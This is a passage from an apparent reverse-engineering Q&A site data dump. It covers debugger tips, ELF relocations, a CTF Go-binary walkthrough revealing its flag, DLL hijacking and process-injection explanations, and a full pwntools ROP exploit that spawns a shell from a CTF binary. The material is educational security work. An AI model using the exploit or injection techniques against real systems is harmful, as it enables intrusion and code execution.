&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to do multiple conditions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; bp win32kfull!NtUserMessageCall &quot;.if ( ( @rdx != 410 ) &amp;amp; ( @rcx != 20498 ) ) { r rdx,rcx; gc }&quot;&#xA;WARNING: Software breakpoints on session addresses can cause bugchecks.&#xA;Use hardware execution breakpoints (ba e) if possible.&#xA;breakpoint 0 redefined&#xA;1: kd&amp;gt; g&#xA;rdx=0000000000000084 rcx=0000000000010404&#xA;rdx=0000000000000084 rcx=000000000001046e&#xA;rdx=0000000000000084 rcx=0000000000010404&#xA;rdx=0000000000000020 rcx=0000000000010470&#xA;rdx=0000000000000020 rcx=000000000001046e&#xA;rdx=0000000000000020 rcx=00000000000104a6&#xA;rdx=0000000000000020 rcx=000000000001048e&#xA;rdx=0000000000000020 rcx=0000000000060480&#xA;rdx=0000000000000020 rcx=0000000000010446&#xA;rdx=0000000000000020 rcx=0000000000010404&#xA;rdx=0000000000000407 rcx=000000000001047c&#xA;rdx=0000000000000084 rcx=0000000000010404&#xA;rdx=000000000000004e rcx=0000000000010492&#xA;win32kfull!NtUserMessageCall:&#xA;ffffeae2`57cdc020 48895c2408      mov     qword ptr [rsp+8],rbx&#xA;1: kd&amp;gt; r rdx,rcx&#xA;rdx=0000000000000407 rcx=0000000000020498&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;demo for bitwise versus logical operators and why logical operator needs to be evaluated as c++&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; $$ display rdx and rcx register&#xA;0:000&amp;gt; r rdx, rcx&#xA;rdx=0000000000000000 rcx=00007ffd7a57fc04&#xA;0:000&amp;gt; $$ evaluating logical operator as C++ expression&#xA;0:000&amp;gt; ?? @rdx &amp;amp;&amp;amp; @rcx&#xA;bool false&#xA;0:000&amp;gt; $$ evaluating logical operator as masm expression (will fail)&#xA;0:000&amp;gt; ? @rdx &amp;amp;&amp;amp; @rcx&#xA;Numeric expression missing from '&amp;amp; @rcx'&#xA;0:000&amp;gt; $$ evaluating bitwise operator as masm expression &#xA;0:000&amp;gt; ? @rdx &amp;amp; @rcx&#xA;Evaluate expression: 0 = 00000000`00000000&#xA;0:000&amp;gt; $$ evaluating bitwise operator as c++ expression &#xA;0:000&amp;gt; ?? @rdx &amp;amp; @rcx&#xA;unsigned int64 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-06-20T10:43:41.433" LastActivityDate="2019-06-20T10:43:41.433" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21519" PostTypeId="1" AcceptedAnswerId="21523" CreationDate="2019-06-19T21:03:38.273" Score="0" ViewCount="2176" Body="&lt;p&gt;I have GO binary file from challenge (that already over).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent around 3 days to find the flag without results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to load the file with gdb and using the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, Trying to find the entry point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;info files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After I got the entry point I did &lt;code&gt;break *&amp;lt;ENTRYPOINTADDR&amp;gt;&lt;/code&gt;&#xA;Then &lt;code&gt;layout asm&lt;/code&gt; and then I just try to figure when I need to add break point before the print that ask me to enter a password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also trying with &lt;code&gt;info frame&lt;/code&gt; and &lt;code&gt;show registers&lt;/code&gt; and to print the values but nothing found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to learn how to find the flag from this ELF file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to know how to solve it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ufile.io/fz0q1ay3&quot; rel=&quot;nofollow noreferrer&quot;&gt;GO binary File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28772" LastEditorUserId="28772" LastEditDate="2019-06-19T21:08:42.143" LastActivityDate="2019-06-25T07:17:47.270" Title="Find flag from GO binary challenge" Tags="|patch-reversing|" AnswerCount="2" CommentCount="0" ClosedDate="2019-07-03T21:55:22.880" ContentLicense="CC BY-SA 4.0" />
  <row Id="21520" PostTypeId="2" ParentId="21512" CreationDate="2019-06-19T23:44:12.790" Score="1" Body="&lt;p&gt;It is possible for an attacker to replace the file on the disk by beating the race condition. When you write the file to disk, there is a delay until when the function you called which loads the DLL actually reads it from disk. An attacker can reverse your application and find out where you place the DLL, then in a no-sleep thread (maybe even multi-threaded) application can constantly spam to see if there is a new DLL placed, if there is, quickly replace it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to prevent you from reading it instead of just writing over it as fast as possible would be to get an operation lock on the file preventing you from reading it until the oplock handle is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, if an attacker is at the same privilege level as your process, he can easily tamper with your process. You do not need to attach as a debugger or &quot;debug&quot; to inject code into your process. All an attacker needs to do is OpenProcess your process, WriteProcessMemory his shellcode, and then CreateRemoteThread the shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only one way of injecting code, there are SEVERAL more and you can't ever be 100% protected. Returning to your question whether or not an attacker can hijack your DLL, they most certainly can. They can overwrite portions of your DLL to hook or do another operation.&lt;/p&gt;&#xA;" OwnerUserId="20951" LastActivityDate="2019-06-19T23:44:12.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21521" PostTypeId="1" CreationDate="2019-06-20T03:39:14.000" Score="1" ViewCount="924" Body="&lt;p&gt;I have been trying to get into reverse engineering as of late and after playing with Radare2 I realized I was playing with a lot of things without really understanding what I was doing. In an effort to rectify this I decided to do something a little more hands on and do some simple reversing exercises with python. I started by following this somewhat dated post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://anee.me/reversing-an-elf-from-the-ground-up-4fe1ec31db4a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was attempting to look up symbols in the relocation section and it seems that one section provides accurate addresses but another does not and i'm at a bit of a loss as to why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;from elftools.elf.elffile import ELFFile&#xA;from elftools.elf.relocation import RelocationSection&#xA;from elftools.elf.descriptions import describe_reloc_type&#xA;&#xA;&#xA;def process_file(fname):&#xA;    with open(fname, 'rb') as f:&#xA;        e = ELFFile(f)&#xA;        for section in e.iter_sections():&#xA;            if not isinstance(section, RelocationSection):&#xA;                continue&#xA;            print(f'\n{section.name} with {section.num_relocations()} Sections: ')&#xA;            symbol_table = e.get_section(section['sh_link'])&#xA;            for relocation in section.iter_relocations():&#xA;                symbol = symbol_table.get_symbol(relocation['r_info_sym'])&#xA;                addr = hex(relocation['r_offset'])&#xA;                type = describe_reloc_type(relocation['r_info_type'], e)&#xA;                print(f'{addr}\t{type}\t{symbol.name}')&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    if len(sys.argv) == 2:&#xA;        process_file(sys.argv[1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Returns:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rela.dyn with 9 Sections: &#xA;0x3de8  R_X86_64_RELATIVE   &#xA;0x3df0  R_X86_64_RELATIVE   &#xA;0x4048  R_X86_64_RELATIVE   &#xA;0x3fd8  R_X86_64_GLOB_DAT   _ITM_deregisterTMCloneTable&#xA;0x3fe0  R_X86_64_GLOB_DAT   __libc_start_main&#xA;0x3fe8  R_X86_64_GLOB_DAT   __gmon_start__&#xA;0x3ff0  R_X86_64_GLOB_DAT   _ITM_registerTMCloneTable&#xA;0x3ff8  R_X86_64_GLOB_DAT   __cxa_finalize&#xA;0x4050  R_X86_64_COPY       stdin&#xA;&#xA;.rela.plt with 5 Sections: &#xA;0x4018  R_X86_64_JUMP_SLOT  puts&#xA;0x4020  R_X86_64_JUMP_SLOT  printf&#xA;0x4028  R_X86_64_JUMP_SLOT  fgets&#xA;0x4030  R_X86_64_JUMP_SLOT  strcmp&#xA;0x4038  R_X86_64_JUMP_SLOT  malloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the addresses under '.rela.plt' have addresses that do not match the calls I know are being made to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--cut--&#xA;0x11f0: mov eax, 0&#xA;0x11f5: call    0x1040 &amp;lt;&amp;lt;-- This is a call to printf&#xA;0x11fa: mov rdx, qword ptr [rip + 0x2e4f]       ** RIP + Offset: 0x4050  - calls: stdin&#xA;0x1201: mov rax, qword ptr [rbp - 8]&#xA;0x1205: mov esi, 0xa&#xA;0x120a: mov rdi, rax&#xA;0x120d: call    0x1050 &amp;lt;&amp;lt;-- This is a call to fgets&#xA;0x1212: mov rdx, qword ptr [rbp - 0x10]&#xA;--cut--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have verified this with Radare2, and the correct addresses seem to be as follows. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0x1030     sym.imp.puts                             &#xA; 0x1040     sym.imp.printf&#xA; 0x1050     sym.imp.fgets&#xA; 0x1060     sym.imp.strcmp&#xA; 0x1070     sym.imp.malloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what little I can find this may be due to dynamic linking but i'm not sure. I have been unable to find a way to get my script to output this section with what I believe are the appropriate addresses. Any information on how this process works, or how to retrieve the needed addresses with pyelftools would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28773" LastActivityDate="2021-11-06T13:00:25.050" Title="pyelftools relocation section symbols" Tags="|binary-analysis|static-analysis|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21522" PostTypeId="2" ParentId="21521" CreationDate="2019-06-20T07:37:11.593" Score="2" Body="&lt;p&gt;The &lt;code&gt;R_X86_64_JUMP_SLOT&lt;/code&gt; relocations are applied to the GOT (global offset table) slots, &lt;em&gt;not&lt;/em&gt; to the call instructions you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call instructions go to the PLT (Program linkage table) stubs in the .plt section, and those, in turn, use the GOT and the &lt;code&gt;.rela.plt&lt;/code&gt; relocations to resolve and jump to the final symbol in the external shared object. This process happens with the help of the dynamic linker (&lt;code&gt;ld.so&lt;/code&gt;) and is a little too complicated to explain in this answer box, but you can find more information by searching for these terms.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-06-20T07:37:11.593" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21523" PostTypeId="2" ParentId="21519" CreationDate="2019-06-20T18:45:49.253" Score="3" Body="&lt;p&gt;Since you have already spent a lot of time on it, I will just show you how to solve it step by step. I recommend you to repeat steps I'm describing, since the best way to learn is to practice.&lt;/p&gt;&#xA;&lt;h1&gt;Tool&lt;/h1&gt;&#xA;&lt;p&gt;I will use &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; for solving this challenge, but it's of course possible to use other tools as well. The reason I chose it is simple: it recognises &lt;code&gt;go&lt;/code&gt; library functions, so it will be easier to find &lt;em&gt;interesting&lt;/em&gt; parts of the executable.&lt;/p&gt;&#xA;&lt;h1&gt;Static analysis&lt;/h1&gt;&#xA;&lt;p&gt;At the beginning, we have to find out where to start our analysis. Run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r2 -c aei -d revengme&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to open this program in &lt;em&gt;debug mode&lt;/em&gt; in &lt;code&gt;radare2&lt;/code&gt;. Then type &lt;code&gt;aaa&lt;/code&gt; to analyse entire binary. It may take some time; just wait until it finishes.&lt;/p&gt;&#xA;&lt;p&gt;Now, to go to the &lt;code&gt;main&lt;/code&gt; function, type:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;s sym.go.main.main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may now see its contents by typing &lt;code&gt;pdf&lt;/code&gt;. You will see several library functions there. Since, at this point we know only that the program prints something and waits for some input, it's natural to look for routines performing these tasks. To find every call to functions printing output, you can use &lt;code&gt;radare2&lt;/code&gt; internal &lt;code&gt;grep&lt;/code&gt; like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pdf ~print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;, to search for &lt;code&gt;'print'&lt;/code&gt; pattern in the &lt;code&gt;pdf&lt;/code&gt; output. You may do the same thing with &lt;em&gt;Read&lt;/em&gt; to see only one reference to &lt;code&gt;sym.go.bufio.__Reader_.ReadLine&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since analysing program control flow is easier in &lt;code&gt;graph mode&lt;/code&gt;, let us switch to it by typing &lt;code&gt;V!&lt;/code&gt; and then &lt;code&gt;G&lt;/code&gt;. You will see something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1z1U9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1z1U9.jpg&quot; alt=&quot;r2GraphMode&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and you may navigate using arrows to see the rest of the graph. In the image above, we can spot two interesting functions: &lt;code&gt;sym.go.bufio.__Reader_.ReadLine&lt;/code&gt; as stated previously and &lt;code&gt;sym.go.main.ObfStr&lt;/code&gt; that suggests that most important strings are &lt;em&gt;obfuscated&lt;/em&gt; as we could have expected.&lt;/p&gt;&#xA;&lt;p&gt;Now, after reading user input the program has to somehow check if it's valid. So we are looking for the fragment responsible for it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QySDA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QySDA.jpg&quot; alt=&quot;checkingForStringValidity&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the image above, you may spot a call to &lt;code&gt;sym.go.runtime.memequal&lt;/code&gt; that seems to do this job. You may see its signature &lt;a href=&quot;https://golang.org/pkg/runtime/?m=all#memequal&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, but it basically takes two pointers to memory regions and the length to compare them. Additionally, it is only called when value in &lt;code&gt;rcx&lt;/code&gt; is equal to &lt;code&gt;[rsp+20h]&lt;/code&gt; as shown in the upper rectangle.&lt;/p&gt;&#xA;&lt;p&gt;Hence, we may conclude that &lt;code&gt;[rsp+20h]&lt;/code&gt; actually contains the length of the password we are trying to obtain. &lt;strong&gt;In fact we see even more&lt;/strong&gt;: we know where the addresses of strings being compared are stored! These are &lt;code&gt;[rsp]&lt;/code&gt; and &lt;code&gt;[rsp+8h]&lt;/code&gt; respectively. And that is the end of our static analysis. We may now proceed to dynamic one.&lt;/p&gt;&#xA;&lt;h1&gt;Dynamic analysis&lt;/h1&gt;&#xA;&lt;p&gt;We run &lt;code&gt;radare2&lt;/code&gt; in debug mode to be able to dynamically analyse the program and now we will do so.&lt;/p&gt;&#xA;&lt;p&gt;We just put the breakpoints where we want to see actual memory stored on the stack. We have to know two things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is expected length of our string.&lt;/li&gt;&#xA;&lt;li&gt;And how it looks like.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Hence our points of interest are those two presented on the second image. Since it isn't position independent code, their addresses will not change throughout different executions. These are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x00488e99&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x00488f68&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To put breakpoints there, use &lt;code&gt;db address&lt;/code&gt; command. To continue execution until they are hit, use &lt;code&gt;dc&lt;/code&gt;. You will be prompted to write the password, but write anything - at this moment we only want to get the expected length of the string. After the first breakpoint is hit, run &lt;code&gt;V!&lt;/code&gt; once again to see:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0n3O4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0n3O4.jpg&quot; alt=&quot;r2StackView&quot; /&gt;&lt;/a&gt;&#xA;On the upper right corner you can see the stack contents. Now we are only interested in length, so &lt;code&gt;[rsp+20h]&lt;/code&gt;. The value stored there is displayed in the third row - it is &lt;code&gt;0x26&lt;/code&gt;, so the password contains &lt;code&gt;38&lt;/code&gt; characters.&lt;/p&gt;&#xA;&lt;p&gt;Now, type &lt;code&gt;ood&lt;/code&gt; to restart the application (it will preserve the breakpoints however). Since you know that the password length is &lt;code&gt;38&lt;/code&gt; just type &lt;code&gt;38&lt;/code&gt; random characters when you are prompted to. Then, when you hit the second breakpoint, you may read the stack contents once again and you will see the addresses of two strings: one that you have just typed, and the second, desired one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; the pointers will be shown in &lt;em&gt;little endian&lt;/em&gt; format, so starting with the least significant byte and ending with the most significant one.&lt;/p&gt;&#xA;&lt;p&gt;You will be interested in &lt;code&gt;0xc000018240&lt;/code&gt;, that contains the string you are looking for, that is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BSidesTLV{revenge is best served cold}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note2:&lt;/strong&gt; To cause &lt;code&gt;radare2&lt;/code&gt; to treat &lt;code&gt;n&lt;/code&gt; specific bytes as data in current location, you can use &lt;code&gt;Cd n&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-06-21T11:48:11.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21524" PostTypeId="1" CreationDate="2019-06-21T06:22:27.007" Score="3" ViewCount="14744" Body="&lt;p&gt;I've followed some tutorials on writing a &lt;code&gt;pwntools&lt;/code&gt;-based exploit for the bitterman ELF binary, used in a CTF competition. However, all my attempts fail with the message below, i.e. &lt;code&gt;Got EOF while reading in interactive&lt;/code&gt; after having executed &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt; using a simple ROP chain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nlykkei@ubuntu-dev:~$ python bitterman.py                                                │ 27 p.recvuntil('Thanks!\n')&#xA;[+] Starting local process './bitterman': pid 6244                                       │ 28 &#xA;[+] puts@glibc: 0x7fcbdc453010                                                           │ 29 #puts_addr = p.recv()[:8].strip().ljust(8,&quot;\x00&quot;)&#xA;[+] offset: 0x7fcbdc3d2000                                                               │ 30 puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,&quot;\x00&quot;)&#xA;[*] Switching to interactive mode                                                        │ 31 log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))&#xA;[*] Got EOF while reading in interactive                                                 │ 32 &#xA;$                                                                                        │ 33 #Stage 2&#xA;[*] Process './bitterman' stopped with exit code -11 (SIGSEGV) (pid 6244)                │ 34 libc_puts = 0x81010&#xA;[*] Got EOF while sending in interactive &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having traced the exploit using GDB, I can verify that &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt; gets executed with the &lt;code&gt;clone&lt;/code&gt; syscall returning a valid child PID. However, after the &lt;code&gt;clone&lt;/code&gt; syscall nothing really happens, and the parent process continue and crashes (bad return address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? I'd be grateful if any experienced exploit developer or CTF entusiast could spot the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I just rewrote the exploit to use &lt;code&gt;execv&lt;/code&gt; front-end for &lt;code&gt;execve&lt;/code&gt; syscall, and then everything works as expected! (a shell is spawned)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;system(..)&lt;/code&gt; works by forking a child using &lt;code&gt;clone&lt;/code&gt; syscall, whereas &lt;code&gt;execve&lt;/code&gt; replaces the entire process. Any idea why &lt;code&gt;system(..)&lt;/code&gt; approach doesn't work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6S4A2nhHdWg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=6S4A2nhHdWg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pwn import *&#xA;&#xA;#context(terminal=['tmux', 'new-window'])&#xA;&#xA;p = process('./bitterman')&#xA;#p = gdb.debug('./bitterman', 'b main')&#xA;&#xA;#context(os='linux', arch='amd64')&#xA;#context.log_level = 'DEBUG'&#xA;&#xA;# Stage 1&#xA;main = p64(0x4006ec) #0x400550&#xA;plt_puts = p64(0x400520)&#xA;got_puts = p64(0x600c50)&#xA;pop_rdi = p64(0x400853)&#xA;&#xA;junk = 152*&quot;A&quot;&#xA;&#xA;payload = junk + pop_rdi + got_puts + plt_puts + main&#xA;&#xA;p.recvuntil('name?')&#xA;p.sendline('nlykkei')&#xA;p.recvuntil('message:')&#xA;p.sendline('256')&#xA;p.recvuntil('text:')&#xA;p.sendline(payload)&#xA;p.recvuntil('Thanks!\n')&#xA;&#xA;#puts_addr = p.recv()[:8].strip().ljust(8,&quot;\x00&quot;)&#xA;puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,&quot;\x00&quot;)&#xA;log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))&#xA;&#xA;#Stage 2&#xA;libc_puts = 0x81010&#xA;libc_system = 0x50300&#xA;libc_sh = 0x1aae80&#xA;&#xA;offset = u64(puts_addr) - libc_puts&#xA;log.success('offset: {}'.format(hex(offset)))&#xA;&#xA;system_addr = p64(libc_system + offset)&#xA;sh_addr = p64(libc_sh + offset)&#xA;&#xA;payload = junk + pop_rdi + sh_addr + system_addr&#xA;&#xA;p.recvuntil('name?')&#xA;p.sendline('nlykkei')&#xA;p.recvuntil('message:')&#xA;p.sendline('256')&#xA;p.recvuntil('text:')&#xA;p.sendline(payload)&#xA;p.recvuntil('Thanks!')&#xA;&#xA;p.clean()&#xA;p.interactive() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25753" LastEditorUserId="25753" LastEditDate="2019-06-21T07:22:34.797" LastActivityDate="2021-03-12T22:50:19.880" Title="Receiving &quot;Got EOF while reading in interactive&quot; after properly executing system(&quot;/bin/sh&quot;) using pwntools" Tags="|exploit|x86-64|pwntools|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21526" PostTypeId="1" AcceptedAnswerId="21546" CreationDate="2019-06-22T14:04:18.427" Score="3" ViewCount="3461" Body="&lt;p&gt;is possible with &lt;code&gt;lldb&lt;/code&gt; have a list of functions at runtime like &lt;code&gt;gdb info functions&lt;/code&gt;? I had a look at help but didn't find it.&lt;/p&gt;&#xA;" OwnerUserId="28801" LastEditorUserId="245" LastEditDate="2019-06-22T16:11:30.023" LastActivityDate="2019-06-25T16:00:59.010" Title="gdb list functions names equivalent for lldb" Tags="|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21529" PostTypeId="1" CreationDate="2019-06-22T16:41:42.620" Score="6" ViewCount="2803" Body="&lt;p&gt;I have recently joined a company that is specialized in air ducts &amp;amp; ventilation systems and I was quite surprised when I noticed that they are still using a DOS program to calculate the pressure loss of a specific duct system. You see, when air travels through the ductwork it encounters a lot of resistance (bends, ...) and this program calculates the amount of resistance once you enter all the different components of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program still works today but has to be run on a virtual server running Windows XP, plus the layout is quite ... outdated. I am wondering whether it is possible to reverse engineer this program and put in into a &quot;modern&quot; jacket, + enable easy data instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, today you have to manually enter each component from the system, but it would be a lot easier/faster to run the program on a list of components (extracted from our drawing software). (this is an extra)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a programmer but I saw &lt;a href=&quot;https://stackoverflow.com/questions/21525739&quot;&gt;this thread&lt;/a&gt;, which is a quite similar problem and which eventually found a solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program dates back from 1990 and if I open the files in Notepad I can see that it is written in TURBO BASIC. I have .DAT and .EXE files, and also .KAN files (I think those last files are specifically created by the program, which is called LUWKAN). Development of this program has stopped years ago, and even the company does not have the software anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or direction would be much appreciated? I would assume that the source code can be easily examined and copied but I might be too naive. &lt;/p&gt;&#xA;" OwnerUserId="28805" LastEditorUserId="245" LastEditDate="2019-06-23T11:43:12.423" LastActivityDate="2019-07-03T07:11:40.753" Title="Reverse Engineering (very) old DOS calculation program" Tags="|dos|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21531" PostTypeId="1" CreationDate="2019-06-22T17:20:50.643" Score="1" ViewCount="300" Body="&lt;p&gt;The app has a &quot;secret dialog window&quot; and I'm sure it appears after pressing combination of some buttons. How I can find the combination in this app?&lt;/p&gt;&#xA;" OwnerUserId="28806" LastEditorUserId="28806" LastEditDate="2019-06-22T17:29:14.540" LastActivityDate="2019-06-22T20:00:54.450" Title="To find a keyboard shortcut inside an application" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21532" PostTypeId="2" ParentId="21529" CreationDate="2019-06-22T17:47:02.633" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am wondering whether it is possible to reverse engineer this program and put in into a &quot;modern&quot; jacket, + enable easy data instruction. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it is possible, &lt;strong&gt;but not for a non programmer&lt;/strong&gt;. To do so, one should examine how the calculations are performed and exact formulas used. Then, after obtaining such a knowledge, one could write an application working for modern processors incorporating the techniques used in the original program.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would assume that the source code can be easily examined and copied but I might be too naive. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It should be easy to examine, especially if the application isn't very complex (which I assume is true since it's an old &lt;code&gt;DOS&lt;/code&gt; application). However there are several nuances here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What you get from the executable file &lt;strong&gt;is not the source code&lt;/strong&gt; of the application. It is a translation from a source code written in human readable high level programming language to a so called &lt;em&gt;machine code&lt;/em&gt;, which is a language that is understandable by a computer and instructions contained there are executed directly by &lt;code&gt;CPU&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;It will have to be rewritten, i.e. you cannot just copy the code. One of the reasons behind that is that the way of interaction between OS and programs has changed since the time that software was released.&lt;/li&gt;&#xA;&lt;li&gt;Even if you had the source code of this application, it wouldn't help much and should be rewritten either way (look at the point above) to be compatible with modern OSes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But it wouldn't be a big problem to analyse and rewrite it (+ add some other features), I think, especially if the computations performed there aren't too complex. I cannot say much more, because you didn't upload the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I &lt;em&gt;can&lt;/em&gt; say however, is that a non programmer just &lt;strong&gt;will not&lt;/strong&gt; do that; you would need some assistance, since it requires both programming and RE knowledge, but it seems being doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tools I could recommend and that I used for reversing &lt;code&gt;DOS&lt;/code&gt; programs are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.vogons.org/viewtopic.php?t=7323&quot; rel=&quot;noreferrer&quot;&gt;DOSBox Debugger&lt;/a&gt; for dynamic analysis (observing program behaviour while being run)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;noreferrer&quot;&gt;IDA&lt;/a&gt; for static analysis (analysing program while not running it).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But as I stated above, to take advantage of them, you will need some assistance.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-22T17:47:02.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
